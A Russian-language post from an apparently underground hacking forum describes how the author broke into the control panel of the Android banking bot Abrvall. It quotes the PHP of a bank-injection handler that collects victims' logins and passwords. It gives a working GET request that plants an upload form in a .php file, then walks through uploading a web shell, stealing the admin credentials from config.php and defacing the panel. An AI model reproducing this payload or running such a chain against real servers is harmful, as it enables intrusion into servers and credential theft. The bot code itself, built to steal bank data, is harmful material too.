Уважаемые пользователи форума, убедительно просим вас переходить в телеграмм продавца, исключительно по предоставленной ссылке. Проверяйте продавца, отправив сообщение на электронную почту, чтобы убедиться в том, что вы общаетесь действительно с ним.

Ломаем Android-бот Abrvall [2017]

Тема в разделе "Хакинг. Программирование", создана пользователем TEXHO, 18 янв 2018.

  1. TEXHO

    TEXHO Member

    Сообщения:
    141
    Симпатии:
    0
    [​IMG]

    Давным-давно мне попался в руки сорц одного андроид-бота. И разумеется, сорц был проанализирован вдоль и поперек.


    Автор бота - Conf, ныне в статусе кидалы. Поэтому, ломаем.

    [​IMG]

    Полное описание можете посмотреть на экспе. Говорят, что автор бота умер. Но это не точно. Через день после блека деньги с бтц-кошеля вывели. Ну вы поняли...

    Посмотрел я исходники и знаете, был весьма удивлен. Можно, конечно, говорить про XSS да SQL-инъекции (они были, разумеется). Но интереснее другое - в процессе анализа кода, я насчитал больше 20 способов заливки шелла.

    В папочке inject лежит добротная кучка инжектов под банки, платежки и соцсети. Рассмотрим кусок кода одного из них (/inject/akbank/verify.php):

    Code:
    ?

    $acoount = "";

    if(isset($_REQUEST["uniqid"])) {
    $uniqid = $_REQUEST["uniqid"];
    $acoount .= $uniqid."|";
    }

    if(isset($_REQUEST["packet"])) {
    $pack = $_REQUEST["packet"];
    //$acoount .= $pack."|";
    $acoount .= "www.akbank.com|";
    }

    if(isset($_REQUEST["email"])) {
    $email = $_REQUEST["email"];
    $acoount .= $email."|";
    }

    if(isset($_REQUEST["login"])) {
    $login = $_REQUEST["login"];
    $acoount .= $login."|";
    }

    if(isset($_REQUEST["password"])) {
    $passwed = $_REQUEST["password"];
    $acoount .= $passwed;
    }

    include_once("../../config.php");
    $link = mysql_connect($mysql_host, $mysql_user, $mysql_pwd);
    if (!$link) {
    die(mysql_close($link));
    }
    mysql_select_db($mysql_db) || die(mysql_close($link));
    mysql_query("INSERT INTO stata (imei, carta) VALUES ($uniqid, ) ON DUPLICATE KEY UPDATE imei = " . $uniqid . ", carta = 1") or die(mysql_close($link));
    mysql_close($link);

    file_put_contents("../tds/temp/".$uniqid, $acoount."
    ", FILE_APPEND | LOCK_EX);
    if(is_file("../../temp/needinject".$uniqid)) {
    unlink("../../temp/needinject".$uniqid);
    }
    file_put_contents("../../temp/stopinj".$uniqid, "");​

    Все здесь прекрасно - нет никакой фильтрации и сходу идет запись в файл.
    И что еще прекраснее, в 23 папках лежит схожий verify.php с такими же багами:

    [​IMG]

    Если этого мало, то в корне бота есть savephone.php, sendsms.php и comment.php с аналогичными багами (вдобавок надо только подделать реферер). Но вернемся к файлу verify.php. Льем заливалку GET-запросом:

    http://abrvall/inject/akbank/verify.php?uniqid=312468399102471235.php&email=fo rm method=post enctype=multipart/form-data>input type=file name=file>input type=submit>/form>?php if(is_uploaded_file($_FILES[file][tmp_name])) move_uploaded_file($_FILES[file][tmp_name], $_FILES[file][name]);?>
    Переходим на заливалку:


    Еще пара манипуляций и шелл залит:

    [​IMG]

    Читаем файл config.php в корне, тащим логин/пасс админа, заходим и оставляем доброе послание:

    [​IMG]

    Можно, конечно, сделать что-то менее палевное и куда более веселое, но это уже на ваше усмотрение...

    © Lebron

Поделиться этой страницей